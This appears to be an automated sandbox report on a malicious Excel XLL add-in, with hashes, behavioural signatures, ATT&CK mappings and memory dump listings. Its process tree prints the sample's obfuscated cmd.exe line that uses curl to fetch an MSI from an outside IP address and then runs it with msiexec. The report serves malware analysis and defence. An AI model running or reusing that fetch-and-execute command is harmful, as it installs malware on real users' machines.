a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50

General

Target

a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll
Size

12KB
MD5

ad86b0520d48a0b530915850244f196b
SHA1

2d28250d44de5ce82ded47bfb29a8ae6353a3fa4
SHA256

a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50
SHA512

138934773d669a60900a82ee011f781576dc82275b4c62e696472e1d5890c2b155bf60ecab4eefc1345d4c42fe125078013ee242b8581f28ad735cb288cb1a39
SSDEEP

192:uU5z9iLjq2pJk+/qcJklyJOEd8LsWGQwrgAh:3z9AbJH/IwJOs3/QwrgC

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	216	1776	cmd.exe	17

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	cmd.exe

Loads dropped DLL 2 IoCs

pid	Process
1776	EXCEL.EXE
1776	EXCEL.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5048	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1776	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3584	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3584	msiexec.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1776	EXCEL.EXE
1776	EXCEL.EXE
3584	msiexec.exe
3584	msiexec.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE
1776	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1776 wrote to memory of 216	1776	EXCEL.EXE	88
PID 1776 wrote to memory of 216	1776	EXCEL.EXE	88
PID 216 wrote to memory of 4672	216	cmd.exe	90
PID 216 wrote to memory of 4672	216	cmd.exe	90
PID 216 wrote to memory of 5048	216	cmd.exe	91
PID 216 wrote to memory of 5048	216	cmd.exe	91
PID 216 wrote to memory of 3584	216	cmd.exe	100
PID 216 wrote to memory of 3584	216	cmd.exe	100

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1776
- \??\c:\windows\system32\cmd.exe
  c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\system32\curl.exe
    curl -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0
    3⤵
    PID:4672
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:5048
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll

Filesize
12KB

MD5
ad86b0520d48a0b530915850244f196b

SHA1
2d28250d44de5ce82ded47bfb29a8ae6353a3fa4

SHA256
a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50

SHA512
138934773d669a60900a82ee011f781576dc82275b4c62e696472e1d5890c2b155bf60ecab4eefc1345d4c42fe125078013ee242b8581f28ad735cb288cb1a39

Download Submit
C:\Users\Admin\AppData\Local\Temp\a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll

Filesize
12KB

MD5
ad86b0520d48a0b530915850244f196b

SHA1
2d28250d44de5ce82ded47bfb29a8ae6353a3fa4

SHA256
a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50

SHA512
138934773d669a60900a82ee011f781576dc82275b4c62e696472e1d5890c2b155bf60ecab4eefc1345d4c42fe125078013ee242b8581f28ad735cb288cb1a39

Download Submit
memory/1776-17-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-19-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-2-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-5-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-6-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-7-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-8-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-9-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-18-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-11-0x00007FF8F89D0000-0x00007FF8F89E0000-memory.dmp

Filesize
64KB

Download
memory/1776-12-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-13-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-14-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-16-0x00007FF8F89D0000-0x00007FF8F89E0000-memory.dmp

Filesize
64KB

Download
memory/1776-4-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-1-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-10-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-15-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-20-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-3-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-0-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-24-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-25-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-26-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-43-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-44-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-46-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-45-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-48-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-47-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

Filesize
64KB

Download
memory/1776-50-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download
memory/1776-49-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads